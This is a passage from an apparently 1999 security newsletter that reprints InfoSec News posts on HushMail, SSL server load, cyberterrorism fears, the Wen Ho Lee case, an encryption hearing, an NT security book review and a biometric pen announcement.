  6997.       implemented in a downloadable Java applet, was developed outside of US
  6998.       borders and so has no export limitations. 
  6999.       
  7000.       
  7001.       Here are the FAQ [2] and a more technical overview [3] of the Hush- Mail
  7002.       system. 
  7003.       
  7004.       
  7005.       HushMail public and private keys are 1024 bits long, and are stored on a
  7006.       server located in Canada. All information sent between the HushApplet and
  7007.       the HushMail server is encrypted via the Blowfish symmetric 128-bit
  7008.       algorithm. The key to this symmetric pipe is randomly generated each
  7009.       session by the server and is transferred to the client machine over a
  7010.       secure SSL connection.
  7011.       
  7012.       
  7013.       When you sign on as a new user you can choose an anonymous account or an
  7014.       identifiable one. For the latter you have to fill out a demographic
  7015.       profile, to make you more attractive (in the aggregate) to HushMail's
  7016.       advertisers. The HushApplet walks you through generating a public-private
  7017.       key-pair. The process is fun and slick as a smelt.  You need to come up
  7018.       with a secure pass-phrase, and in this process HushMail gives only minimal
  7019.       guidance. You might want to visit Arnold Reinhold's Diceware page [4],
  7020.       where he lays out a foolproof pass- phrase protocol utilizing a pair of
  7021.       dice. 
  7022.       
  7023.       
  7024.       HushMail relies heavily on Java (JVM 1.1.5 or higher), so it can only be
  7025.       used with the latest browsers. The earliest workable version of Netscape's
  7026.       browser is 4.04, but some features don't work in versions before 4.07; the
  7027.       latest version, 4.5, is best. For Internet Explorer users, 4.5 is
  7028.       recommended, but the latest Windows release of IE 4.0 (subversion
  7029.       4.72.3110) works as well. Red Hat Linux version 5.2 is also tested and
  7030.       supported. Unfortunately, HushMail does not work on Macintoshes, due to
  7031.       limitations in Apple's Java implementation. (Mac users can crawl HushMail
  7032.       under Connectix Virtual PC. Note that I don't say "run." I've tried this
  7033.       interpretation-under-emulation and do not recommend it.) The company is
  7034.       trying urgently to connect with the right people at Apple to get this
  7035.       situation remedied. 
  7036.       
  7037.       
  7038.       One of the limitations of this early release of HushMail is that
  7039.       encryption can only be used to and from another HushMail account. It is
  7040.       not currently possible to export your public/private key-pair, to set up
  7041.       automatic forwarding of mail sent to a HushMail account, or to import
  7042.       non-Hush public keys. I spoke with Cliff Baltzley, Hush's CEO and chief
  7043.       technical wizard. He stresses that Hush's desire and intention is to move
  7044.       toward interoperability with other players in the crypto world, such as
  7045.       PGP and S/MIME. The obstacles to doing so are the constraints on technical
  7046.       resources (read: offshore crypto programmers) and legal questions of
  7047.       intellectual property. Baltzley believes that HushMail's positive impact
  7048.       on privacy worldwide will be enhanced by maximizing the product's
  7049.       openness. 
  7050.       
  7051.       
  7052.       [1] https://www.hushmail.com/
  7053.       [2] https://www.hushmail.com/faq.htm
  7054.       [3] https://www.hushmail.com/tech_description.htm
  7055.       [4] http://world.std.com/~reinhold/diceware.html
  7056.       
  7057.       
  7058.       
  7059.       -o-
  7060.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  7061.       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
  7062.        
  7063.       @HWA 
  7064.   
  7065.  32.0 [ISN] E-Biz Bucks Lost Under SSL Strain 
  7066.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  7067.  
  7068.       Date: Sat, 22 May 1999 06:17:04 -0600 (MDT) 
  7069.       From: cult hero <jericho@dimensional.com> 
  7070.       To: InfoSec News <isn@repsec.com> 
  7071.       Subject: [ISN] E-Biz Bucks Lost Under SSL Strain 
  7072.      
  7073.       
  7074.       http://www.internetwk.com/lead/lead052099.htm
  7075.       
  7076.       
  7077.       Thursday, May 20, 1999 
  7078.       E-Biz Bucks Lost Under SSL Strain
  7079.       By TIM WILSON 
  7080.       
  7081.       
  7082.       A customer stuffs his shopping cart with goodies from your Web site.
  7083.       Credit card in hand, he waits for a secure connection to consummate the
  7084.       deal. And waits. Finally, short of patience, he dumps the contents and
  7085.       logs off. 
  7086.       
  7087.       
  7088.       It may sound like an e-commerce manager's nightmare, but according to the
  7089.       latest Web server performance statistics, it's an increasingly common
  7090.       phenomenon. 
  7091.       
  7092.       
  7093.       The ghost in the machine is Secure Sockets Layer, the commonly used method
  7094.       of securing communications between users and Web sites. 
  7095.       
  7096.       
  7097.       Recent tests conducted by researcher Networkshop Inc. indicate that
  7098.       powerful Web servers capable of handling hundreds of transactions per
  7099.       second may be brought to a near standstill by heavy SSL traffic. Some
  7100.       server configurations suffered as much as a fiftyfold degradation in
  7101.       performance from SSL, down to just a few transactions per second,
  7102.       according to analyst Alistair Croll at Networkshop. 
  7103.       
  7104.       
  7105.       The growing problem of SSL performance has driven vendors to develop
  7106.       devices that can help share the Web server's processing load. IPivot Inc.
  7107.       next month will ship two new processors that can offload authentication
  7108.       and encryption on e-commerce sites. 
  7109.       
  7110.       
  7111.       IT managers and other experts have known for years that SSL, which
  7112.       requires the authentication and encryption of Web server connections, can
  7113.       significantly slow site performance. But the problem is rapidly becoming
  7114.       more chronic as companies increase secured Web transactions, they said. 
  7115.       
  7116.       
  7117.       "Our business is very seasonal, and a lot of it is concentrated in the
  7118.       fourth quarter. This past December, we found ourselves shuffling servers
  7119.       around to handle the load," said Stephen McCollum, network architect at
  7120.       Hewitt Associates. The $858 million company manages benefits plans for
  7121.       large organizations, and because Hewitt's Web traffic is personal and
  7122.       confidential, virtually all of it is conducted via SSL. 
  7123.       
  7124.       
  7125.       Hewitt is far from alone in its reliance on SSL. According to a study
  7126.       conducted by research company Netcraft Ltd., SSL implementations doubled
  7127.       from 15,000 sites to more than 35,000 sites between 1998 and 1999. And
  7128.       many of those server sites are struggling under the load. 
  7129.       
  7130.       
  7131.       "I'd guess that somewhere between 10 and 25 percent of [e-commerce]
  7132.       transactions are aborted because of slow response times," said Rodney
  7133.       Loges, vice president of business development at Digital Nation, a Web
  7134.       hosting company. 
  7135.       
  7136.       
  7137.       That translates to as much as $1.9 billion in lost revenue, using
  7138.       Forrester Research numbers for 1998 of $7.8 billion in e-retail sales. 
  7139.       
  7140.       
  7141.       According to Networkshop, even the most powerful, general-purpose Web
  7142.       server hardware can be dragged down by large volumes of SSL traffic. In
  7143.       its most recent tests, the research company found that a typical Pentium
  7144.       server configuration running Linux and Apache, which at full capacity can
  7145.       handle about 322 connections per second of standard HTTP traffic, fell to
  7146.       about 24 connections per second when handling a full load of SSL traffic. 
  7147.       
  7148.       
  7149.       A similar test conducted on a Sun 450 server running Solaris and Apache
  7150.       experienced even more trouble. The server handled about 500 connections
  7151.       per second of HTTP traffic at full capacity, but only about 3 connections
  7152.       per second when the traffic was secured via SSL. Networkshop tests of
  7153.       quad-processor configurations showed that those performance ratios scale
  7154.       to multiserver environments as well, Croll said. 
  7155.       
  7156.       
  7157.       A few vendors, such as Rainbow Technologies Inc., have solved the problem
  7158.       by offloading security processing onto a dedicated co-processor card that
  7159.       slips into a server. But as SSL traffic increases, adding and managing
  7160.       co-processor boards becomes unwieldy, IT managers said. "We found that the
  7161.       [co-processor] cards were kind of a kludge, because they have to be added
  7162.       to every server," said Digital Nation's Loges. 
  7163.       
  7164.       
  7165.       IPivot will begin shipping two external SSL processors--the Commerce
  7166.       Accelerator 1000 and the Commerce Director 8000, which includes IPivot's
  7167.       load-balancing system--to help eliminate SSL bottlenecks. 
  7168.       
  7169.       
  7170.       The Commerce Accelerator 1000 is priced at $9,995; the Commerce Director
  7171.       8000 costs $39,950. 
  7172.       
  7173.       
  7174.       
  7175.       -o-
  7176.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  7177.       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
  7178.       
  7179.       @HWA
  7180.       
  7181.  33.0 [ISN] Bracing for guerrilla warfare in cyberspace 
  7182.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  7183.             
  7184.       Date: Sat, 22 May 1999 06:22:31 -0600 (MDT) 
  7185.       From: cult hero <jericho@dimensional.com> 
  7186.       To: InfoSec News <isn@repsec.com> 
  7187.       Subject: [ISN] Bracing for guerrilla warfare in cyberspace 
  7188.       
  7189.       
  7190.       
  7191.       [Moderator: Warning - A fair share of FUD in this article.]
  7192.       
  7193.       
  7194.       
  7195.       Forwarded From: Sunit Nangia <sunit@cerf.net>
  7196.       
  7197.       
  7198.       http://www.cnn.com/TECH/specials/hackers/cyberterror/
  7199.       
  7200.       
  7201.       Bracing for guerrilla warfare in cyberspace
  7202.       'There are lots of opportunities; that's very scary'
  7203.       
  7204.       
  7205.       April 6, 1999
  7206.       By John Christensen
  7207.       CNN Interactive 
  7208.       
  7209.       
  7210.       (CNN) -- It is June, the children are out of school, and as highways and
  7211.       airports fill with vacationers, rolling power outages hit sections of Los
  7212.       Angeles, Chicago, Washington and New York. An airliner is mysteriously
  7213.       knocked off the flight control system and crashes in Kansas. 
  7214.       
  7215.       
  7216.       Parts of the 911 service in Washington fail, supervisors at the Department
  7217.       of Defense discover that their e-mail and telephone services are disrupted
  7218.       and officers aboard a U.S. Navy cruiser find that their computer systems
  7219.       have been attacked. 
  7220.       
  7221.       
  7222.       As incidents mount, the stock market drops precipitously, and panic surges
  7223.       through the population. 
  7224.       
  7225.       
  7226.       Unlikely? Hardly. The "electronic Pearl Harbor" that White House terrorism
  7227.       czar Richard A. Clarke fears is not just a threat, it has already
  7228.       happened. 
  7229.       
  7230.       
  7231.       Much of the scenario above -- except for the plane and stock market
  7232.       crashes and the panic -- occurred in 1997 when 35 hackers hired by the
  7233.       National Security Agency launched simulated attacks on the U.S. 
  7234.       electronic infrastructure. 
  7235.       
  7236.       
  7237.       "Eligible Receiver," as the exercise was called, achieved "root level" 
  7238.       access in 36 of the Department of Defense's 40,000 networks. The simulated
  7239.       attack also "turned off" sections of the U.S. power grid, "shut down"
  7240.       parts of the 911 network in Washington, D.C., and other cities and gained
  7241.       access to systems aboard a Navy cruiser at sea. 
  7242.       
  7243.       
  7244.       At a hearing in November 1997, Sen. Jon Kyl, R-Arizona, chairman of a
  7245.       Senate technology subcommittee, reported that nearly two-thirds of U.S. 
  7246.       government computers systems have security holes. 
  7247.       
  7248.       
  7249.       "If somebody wanted to launch an attack," says Fred B. Schneider, a
  7250.       professor of computer science at Cornell University, "it would not be at
  7251.       all difficult." 
  7252.       
  7253.       
  7254.       'There are lots of opportunities'
  7255.       
  7256.       
  7257.       Although "Eligible Receiver" took place in the United States, which has
  7258.       about 40 percent of the world's computers, the threat of cyberterrorism is
  7259.       global. 
  7260.       
  7261.       
  7262.       Consider: 
  7263.       
  7264.       
  7265.       * During the Gulf War, Dutch hackers stole information about U.S. troop
  7266.       movements from U.S. Defense Department computers and tried to sell it to
  7267.       the Iraqis, who thought it was a hoax and turned it down. 
  7268.       
  7269.       
  7270.       * In March 1997, a 15-year-old Croatian youth penetrated computers at a
  7271.       U.S. Air Force base in Guam. 
  7272.       
  7273.       
  7274.       * In 1997 and 1998, an Israeli youth calling himself "The Analyzer" 
  7275.       allegedly hacked into Pentagon computers with help from California
  7276.       teen-agers. Ehud Tenebaum, 20, was charged in Jerusalem in February 1999
  7277.       with conspiracy and harming computer systems. 
  7278.       
  7279.       
  7280.       * In February 1999, unidentified hackers seized control of a British
  7281.       military communication satellite and demanded money in return for control
  7282.       of the satellite. 
  7283.       
  7284.       
  7285.       The report was vehemently denied by the British military, which said all
  7286.       satellites were "where they should be and doing what they should be
  7287.       doing." Other knowledgable sources, including the Hacker News Network,
  7288.       called the hijacking highly unlikely. 
  7289.       
  7290.       
  7291.       "There are lots of opportunities," says Schneider.  "That's very scary." 
  7292.       
  7293.       
  7294.       'The Holy Grail of hackers'
  7295.       
  7296.       
  7297.       President Clinton announced in January 1999 a $1.46 billion initiative to
  7298.       deal with U.S. government computer security -- a 40 percent increase over
  7299.       fiscal 1998 spending. Of particular concern is the Pentagon, the military
  7300.       stronghold of the world's most powerful nation. 
  7301.       
  7302.       
  7303.       "It's the Holy Grail of hackers," says computer security expert Rob Clyde.
  7304.       "It's about bragging rights for individuals and people with weird
  7305.       agendas." 
  7306.       
  7307.       
  7308.       Clyde is vice president and general manager of technical security for
  7309.       Axent Technologies, a company headquartered in Rockville, Maryland, that
  7310.       counts the Pentagon as one of its customers. 
  7311.       
  7312.       
  7313.       The Defense Department acknowledges between 60 and 80 attacks a day,
  7314.       although there have been reports of far more than that. 
  7315.       
  7316.       
  7317.       The government says no top secret material has ever been accessed by these
  7318.       intruders, and that its most important information is not online.  But the
  7319.       frustration is evident. 
  7320.       
  7321.       
  7322.       Michael Vatis, director of the FBI's National Infrastructure Protection
  7323.       Committee, told a Senate subcommittee last year that tracing cyberattacks
  7324.       is like "tracking vapor." 
  7325.       
  7326.       
  7327.       'A lot of clueless people'
  7328.       
  7329.       
  7330.       Schneider says the "inherently vulnerable" nature of the electronic
  7331.       infrastructure makes counterterrorism measures even more difficult. 
  7332.       Schneider chaired a two-year study by the National Academy of Sciences and
  7333.       the National Academy of Engineering that found that the infrastructure is
  7334.       badly conceived and poorly secured. 
  7335.       
  7336.       
  7337.       "There is a saying that the amount of 'clue' [knowledge] on the Internet
  7338.       is constant, but the size of the Internet is growing exponentially," says
  7339.       Schneider. "In other words, there are a lot of clueless people out there.
  7340.       It's basically a situation where people don't know how to lock the door
  7341.       before walking out, so more and more machines are vulnerable." 
  7342.       
  7343.       
  7344.       Schneider says the telephone system is far more complicated than it used
  7345.       to be, with "a lot of nodes that are programmable, and databases that can
  7346.       be hacked." Also, deregulation of the telephone and power industries has
  7347.       created another weakness:  To stay competitive and cut costs, companies
  7348.       have reduced spare capacity, leaving them more vulnerable to outages and
  7349.       disruptions in service. 
  7350.       
  7351.       
  7352.       Still another flaw is the domination of the telecommunications system by
  7353.       phone companies and Internet service providers (ISPs) that don't trust
  7354.       each other. As a result, the systems do not mesh seamlessly and are
  7355.       vulnerable to failures and disruptions. 
  7356.       
  7357.       
  7358.       "There's no way to organize systems built on mutual suspicion,"  Schneider
  7359.       says.  "We're subtly changing the underpinnings of the system, but we're
  7360.       not changing the way they're built. We'll keep creating cracks until we
  7361.       understand that we need a different set of principles for the components
  7362.       to deal with each other." 
  7363.       
  7364.       
  7365.       'The democratization of hacking'
  7366.       
  7367.       
  7368.       Meanwhile, the tools of mayhem are readily available. 
  7369.       
  7370.       
  7371.       There are about 30,000 hacker-oriented sites on the Internet, bringing
  7372.       hacking -- and terrorism -- within the reach of even the technically
  7373.       challenged. 
  7374.       
  7375.       
  7376.       "You no longer have to have knowledge, you just have to have the time," 
  7377.       Clyde says. "You just download the tools and the programs. It's the
  7378.       democratization of hacking. And with these programs ... they can click on
  7379.       a button and send bombs to your network, and the systems will go down." 
  7380.       
  7381.       
  7382.       Schneider says another threat is posed not by countries or terrorists, but
  7383.       by gophers and squirrels and farmers. 
  7384.       
  7385.       
  7386.       In 1995, a New Jersey farmer yanked up a cable with his backhoe, knocking
  7387.       out 60 percent of the regional and long distance phone service in New York
  7388.       City and air traffic control functions in Boston, New York and Washington.
  7389.       In 1996, a rodent chewed through a cable in Palo Alto, California, and
  7390.       knocked Silicon Valley off the Internet for hours. 
  7391.       
  7392.       
  7393.       "Although the press plays up the security aspect of hacker problems," 
  7394.       says Schneider, "the other aspect is that the systems are just not built
  7395.       very reliably. It's easy for operators to make errors, and a gopher
  7396.       chewing on a wire can take out a large piece of the infrastructure. That's
  7397.       responsible for most outages today." 
  7398.       
  7399.       
  7400.       'The prudent approach'
  7401.       
  7402.       
  7403.       Schneider and Clyde favor a team of specialists similar to Clinton's
  7404.       proposed "Cyber Corps" program, which would train federal workers to
  7405.       handle and prevent computer crises. But they say many problems can be
  7406.       eliminated with simple measures. 
  7407.       
  7408.       
  7409.       These include "patches" for programs, using automated tools to check for
  7410.       security gaps and installing monitoring systems and firewalls.  Fixes are
  7411.       often free and available on the Internet, but many network administrators
  7412.       don't install them. 
  7413.       
  7414.       
  7415.       A step toward deterrence was taken in 1998 when CIA Director George Tenet
  7416.       announced that the United States was devising a computer program that
  7417.       could attack the infrastructure of other countries. 
  7418.       
  7419.       
  7420.       "That's nothing new," says Clyde, "but it's the first time it was publicly
  7421.       announced. If a country tries to destroy our infrastructure, we want to be
  7422.       able to do it back. It's the same approach we've taken with nuclear
  7423.       weapons, the prudent approach." 
  7424.       
  7425.       
  7426.       The U.S. Government Accounting Office estimates that 120 countries or
  7427.       groups have or are developing information warfare systems.  Clyde says
  7428.       China, France and Israel already have them, and that some Pentagon
  7429.       intrusions have surely come from abroad. 
  7430.       
  7431.       
  7432.       "We don't read about the actual attacks," says Clyde, "and you wouldn't
  7433.       expect to." 
  7434.       
  7435.       
  7436.       "The Analyzer" was caught after he bragged about his feat in computer chat
  7437.       rooms, but Clyde says the ones to worry about are those who don't brag and
  7438.       don't leave any evidence behind. 
  7439.       
  7440.       
  7441.       "Those are the scary ones," he says. "They don't destroy things for the
  7442.       fun of it, and they're as invisible as possible." 
  7443.       
  7444.       
  7445.       
  7446.       -o-
  7447.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  7448.       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
  7449.       
  7450.       @HWA
  7451.  
  7452.  
  7453.  34.0 [ISN] Prosecuting Lee Is Problematic 
  7454.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  7455.  
  7456.       Date: Wed, 26 May 1999 00:05:43 -0600 (MDT) 
  7457.       From: cult hero <jericho@dimensional.com> 
  7458.       To: InfoSec News <isn@repsec.com> 
  7459.       Subject: [ISN] Prosecuting Lee Is Problematic 
  7460.       
  7461.       
  7462.       http://www.washingtonpost.com/wp-srv/WPlate/1999-05/24/080l-052499-idx.html
  7463.       
  7464.       
  7465.       Prosecuting Lee Is Problematic
  7466.       Physicist's Mishandling of Computer Data May Not Be Crime
  7467.       By Vernon Loeb and Walter Pincus
  7468.       Washington Post Staff Writers
  7469.       Monday, May 24, 1999; Page A05
  7470.       
  7471.       
  7472.       Espionage suspect Wen Ho Lee's transfer of top secret computer programs
  7473.       from a classified to a vulnerable computer network at Los Alamos National
  7474.       Laboratory has left federal prosecutors wrestling with the question of
  7475.       whether such mishandling of classified information in cyberspace
  7476.       constitutes a crime. 
  7477.       
  7478.       
  7479.       Lacking evidence of espionage, FBI agents have focused on Lee's
  7480.       unauthorized data transfer ever since they searched his desktop computer
  7481.       in March and discovered top secret "legacy codes" in a system that could
  7482.       have been accessed by hackers. 
  7483.       
  7484.       
  7485.       But there is no known prosecution of anyone for transferring classified
  7486.       data from classified to unclassified government computer systems, leaving
  7487.       prosecutors to fathom the frontiers of cybersecurity under espionage
  7488.       statutes that make no reference to computers, according to lawyers
  7489.       specializing in national security law and U.S. officials familiar with the
  7490.       case. 
  7491.       
  7492.       
  7493.       Lee, 59, a Taiwan-born nuclear physicist who is a U.S. citizen, was fired
  7494.       March 8 for alleged security violations at Los Alamos and identified by
  7495.       U.S. officials as an espionage suspect, despite their inability to charge
  7496.       him as a spy for China. Congress is investigating why the FBI and the
  7497.       Justice Department failed to search his office computer prior to his
  7498.       dismissal. 
  7499.       
  7500.       
  7501.       That slow response drew more criticism yesterday. The chairman of the
  7502.       Senate intelligence committee, Richard C. Shelby (R-Ala.), renewed his
  7503.       call for the ouster of Attorney General Janet Reno. Branding her handling
  7504.       of the case "indefensible," Shelby said on CBS's "Face the Nation" that
  7505.       "the attorney general ought to resign and she ought to take her top
  7506.       lieutenants with her." 
  7507.       
  7508.       
  7509.       On the same show, Sen. Robert G. Torricelli (D-N.J.) also criticized Reno,
  7510.       although he stopped short of advocating resignation: "It's time for
  7511.       President Clinton to have a conversation with the attorney general about
  7512.       her ability to perform her duties and whether or not it is in the national
  7513.       interest for her to continue." Torricelli said Reno had displayed
  7514.       "failures of judgment" that were "inexplicable." He singled out her
  7515.       decision not to approve a wire tap of Lee "despite overwhelming evidence
  7516.       that there was probable cause and that the national security was being
  7517.       compromised." 
  7518.       
  7519.       
  7520.       White House spokesman Barry Toiv said Clinton "has full confidence in
  7521.       Attorney General Reno," Reuters reported. 
  7522.       
  7523.       
  7524.       Lee has denied passing classified information to China and has said
  7525.       through his attorney he took "substantial steps" to safeguard the
  7526.       transferred computer codes. 
  7527.       
  7528.       
  7529.       A provision of the federal espionage statute makes the removal of
  7530.       classified defense information from its "proper place of custody" through
  7531.       "gross negligence" a felony punishable by up to 10 years in prison,
  7532.       according to lawyers specializing in national security cases. 
  7533.       
  7534.       
  7535.       But it is unclear whether Lee could be charged under that provision,
  7536.       absent intent on his part to make unlawful use of the data or evidence it
  7537.       was obtained by unauthorized individuals, they said. 
  7538.       
  7539.       
  7540.       "You've got a clear security breech," said former CIA inspector general
  7541.       Frederick Hitz. "But as far as a criminal prosecution . . . I would think
  7542.       that's going to be tough." 
  7543.       
  7544.       
  7545.       Another law makes the "unauthorized removal and retention of classified
  7546.       documents or material" at one's home a misdemeanor punishable by a maximum
  7547.       $1,000 fine and one-year prison sentence. The measure was enacted to
  7548.       safeguard classified materials against careless handling, not espionage. 
  7549.       
  7550.       
  7551.       Two former National Security Agency employees, a husband and wife, were
  7552.       the first to be prosecuted under the law last year, pleading guilty to
  7553.       having retained classified documents at their home after leaving
  7554.       government service. 
  7555.       
  7556.       
  7557.       But the lawyers specializing in national security cases say they do not
  7558.       believe the statute could be used against Lee, because he apparently did
  7559.       not remove the programs from government property. 
  7560.       
  7561.       
  7562.       They said in two recent cases involving computer transfers of classified
  7563.       information, one involving another Los Alamos scientist and the other,
  7564.       former CIA director John M. Deutch, the Justice Department declined
  7565.       prosecution. 
  7566.       
  7567.       
  7568.       The scientist at Los Alamos, who has not been publicly identified, moved
  7569.       classified nuclear weapons data last year from the laboratory's classified
  7570.       to its unclassified network in a transfer analogous to that performed by
  7571.       Lee. 
  7572.       
  7573.       
  7574.       But the transfer was ultimately determined to have been "inadvertent," 
  7575.       according to a senior Energy Department official. The FBI found no
  7576.       criminal intent and closed the case, the official said. 
  7577.       
  7578.       
  7579.       Deutch was investigated by the Justice Department for transferring more
  7580.       than 30 classified documents to his personal, unsecured laptop during his
  7581.       tenure as CIA director from May 1995 to December 1996. The security breach
  7582.       was discovered when CIA specialists went to his Washington home to remove
  7583.       a classified computer and safe and discovered the classified files on his
  7584.       personal computer. 
  7585.       
  7586.       
  7587.       Under CIA policy, Deutch's security violation was forwarded to Justice for
  7588.       review, but officials there declined prosecution. The case was recently
  7589.       recently returned to the CIA for review by Inspector General Britt Snider,
  7590.       who is expected to complete a report on the matter soon. 
  7591.       
  7592.       
  7593.       Deutch, who does government consulting and teaches at Massachusetts
  7594.       Institute of Technology, could have his security clearance lifted for a
  7595.       period of time, one government source said. 
  7596.       
  7597.       
  7598.       -o-
  7599.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  7600.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  7601.       
  7602.       @HWA
  7603.       
  7604.  35.0 [ISN] Slip of the Tongue Lightens up Encryption Hearing 
  7605.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  7606.  
  7607.       Date: Wed, 26 May 1999 00:01:24 -0600 (MDT) 
  7608.       From: cult hero <jericho@dimensional.com> 
  7609.       To: InfoSec News <isn@repsec.com> 
  7610.       Subject: [ISN] Slip of the Tongue Lightens up Encryption Hearing 
  7611.       
  7612.       
  7613.       
  7614.       http://www.nytimes.com/library/tech/99/05/cyber/articles/25capital.html
  7615.       
  7616.       
  7617.       May 25, 1999
  7618.       Slip of the Tongue Lightens up Encryption Hearing
  7619.       By JERI CLAUSING 
  7620.       
  7621.       
  7622.       WASHINGTON -¡ The Clinton Administration's point man on encryption policy
  7623.       silenced his Congressional critics ¡- momentarily, anyway -- with a slip
  7624.       of the tongue at a House hearing last week.
  7625.       
  7626.       
  7627.       "Never underestimate the stupidity of some of the people we have to deal
  7628.       with," William A. Reinsch, Under Secretary of Commerce for the Bureau of
  7629.       Export Administration, said while being grilled about whether terrorists
  7630.       and criminals would be na∩ve enough to use the technology being pushed by
  7631.       the Administration. 
  7632.       
  7633.       
  7634.       The House International Relations subcommittee meeting fell silent and
  7635.       Reinsch turned bright red as he realized the double meaning of what he had
  7636.       said. As the silence turned to laughter, Reinsch tried to backtrack,
  7637.       blurting, "I didn't say that." 
  7638.       
  7639.       
  7640.       But it was enough to silence Representative Bradley J. Sherman. Sherman
  7641.       promptly ended his grilling of Reinsch, who along with representatives of
  7642.       the National Security Agency and the Federal Bureau of Investigation, was
  7643.       testifying in defense of the Administration's encryption policy. The
  7644.       Administration has tied any loosening of export controls on strong
  7645.       encryption to the development of technology that would guarantee law
  7646.       enforcement easy access to criminals' communications.
  7647.       
  7648.       
  7649.       -o-
  7650.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  7651.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  7652.       
  7653.       @HWA
  7654.       
  7655.  36.0 [ISN] REVIEW: "Microsoft Windows NT 4.0 Security, Audit, and Control", 
  7656.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  7657.  
  7658.       Date: Wed, 26 May 1999 00:03:24 -0600 (MDT) 
  7659.       From: cult hero <jericho@dimensional.com> 
  7660.       To: InfoSec News <isn@repsec.com> 
  7661.       Subject: [ISN] REVIEW: "Microsoft Windows NT 4.0 Security, Audit, and Control", 
  7662.       
  7663.       
  7664.       Forwarded From: "Rob Slade" <rslade@sprint.ca>
  7665.       
  7666.       
  7667.       BKWNTSAC.RVW   990409
  7668.       
  7669.       
  7670.       "Microsoft Windows NT 4.0 Security, Audit, and Control", James G.
  7671.       Jumes et al, 1999, 1-57231-818-X, U$49.99/C$71.99/UK#45.99
  7672.       %A   James G. Jumes
  7673.       %A   Neil F. Cooper
  7674.       %A   Paula Chamoun
  7675.       %A   Todd M. Feinman
  7676.       %C   1 Microsoft Way, Redmond, WA   98052-6399
  7677.       %D   1999
  7678.       %G   1-57231-818-X
  7679.       %I   Microsoft Press
  7680.       %O   U$49.99/C$71.99/UK#45.99 800-6777377 fax: 206-936-7329
  7681.       %P   318 p.
  7682.       %S   Technical Reference
  7683.       %T   "Microsoft Windows NT 4.0 Security, Audit, and Control"
  7684.       
  7685.       
  7686.       The primary audience described in the introduction seems to be security
  7687.       professionals.  However, system administrators, technology managers, and
  7688.       CIOs are mentioned as well.  The attempt at breadth of coverage usually
  7689.       does not bode well in works like these. 
  7690.       
  7691.       
  7692.       Chapter one discusses an information security model based upon the
  7693.       business (and other) objectives of the institution in question.  While
  7694.       valid as far as it goes, and even possibly helpful when formulating
  7695.       security policy, this by no means provides a structure from which to view
  7696.       either security policy or procedures, let alone implement a complex set of
  7697.       controls.  The widget company, beloved of management writers, is described
  7698.       in chapter two.  For the purposes of assessing security in real world
  7699.       working environments, this particular widget company seems to be
  7700.       astoundingly simple and homogeneous. 
  7701.       
  7702.       
  7703.       Chapter three starts out talking reasonably about security policy, starts
  7704.       to get flaky in risk assessment (I would definitely worry about a .45
  7705.       chance of an earthquake), and tails off into trivia. Monitoring, in
  7706.       chapter four, looks first at system performance and diagnostics, and then
  7707.       gets into event logging without really going into the concepts.  Many
  7708.       areas of physical security are left uncovered in chapter five.  Chapter
  7709.       six discusses domains, trust relationships, and remote access permissions. 
  7710.       Dialogue boxes for user accounts and groups are listed in chapter seven. 
  7711.       There is some mention of the commonly "received wisdom" in regard to these
  7712.       topics, as there is in chapter eight regarding account policies, but
  7713.       nothing very significant.  File system, share, and other resource control
  7714.       is covered in chapter nine.  Chapter ten is a bit of a grab bag without
  7715.       much focus.  The registry is reviewed in chapter eleven.  Chapter twelve
  7716.       looks briefly at power supplies and backups.  Although it talks about
  7717.       auditing, chapter thirteen is more of a checklist of security features to
  7718.       think about.  Appendix A is a bit better in this regard:  it lists
  7719.       recommended settings across a number of functions for six different types
  7720.       of systems. 
  7721.       
  7722.       
  7723.       There is some discussion of options as the various functions are
  7724.       addressed, so, in a sense, this is a start towards full coverage of NT
  7725.       security.  It has a long way to go, though.  In addition, the deliberation
  7726.       comes at the cost of a loss of some detail in terms of security
  7727.       implementation. 
  7728.       
  7729.       
  7730.       -o-
  7731.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  7732.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  7733.       
  7734.       @HWA     
  7735.       
  7736.  37.0 [ISN] LCI Intros SMARTpen Biometric Signature Authentication 
  7737.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  7738.  
  7739.       Date: Wed, 26 May 1999 01:22:36 -0600 (MDT) 
  7740.       From: cult hero <jericho@dimensional.com> 
  7741.       To: InfoSec News <isn@repsec.com> 
  7742.       Subject: [ISN] LCI Intros SMARTpen Biometric Signature Authentication 
  7743.       
  7744.       
  7745.       Forwarded From: 7Pillars Partners <partners@sirius.infonex.com>
  7746.       
  7747.       
  7748.       LCI Intros SMARTpen Biometric Signature Authentication
  7749.       
  7750.       
  7751.       S'HERTGENBOSCH, NETHERLANDS, 1999 MAY 24 (NB)
  7752.       By Sylvia Dennis, Newsbytes.
  7753.            
  7754.       LCI Technology has taken the wraps off its SMARTpen biometric signature
  7755.       authentication system. The SMARTpen is billed as the world's first
  7756.       wireless signature device and the only biometric unit of its type that
  7757.       writes on normal paper.Sam Asseer, the firm's chairman, said that the unit
  7758.       was designed for high-end security transactions. It is, he explained, a
  7759.       wireless embedded computer system that looks and writes like a common
  7760.       ballpoint pen. 
  7761.            
  7762.       In use, the SMARTpen uses built-in sensors that enable the authentication
  7763.       of users through the biometric characteristics of their signatures on
  7764.       regular paper. 
  7765.            
  7766.       "Electronic commerce is rapidly becoming the way the world does business,"
  7767.       he said, adding that the surge in online transactions over the past two
  7768.       years and the predictions for explosive growth going into the year 2000
  7769.       suggests that the future of e-commerce is unlimited. 
  7770.            
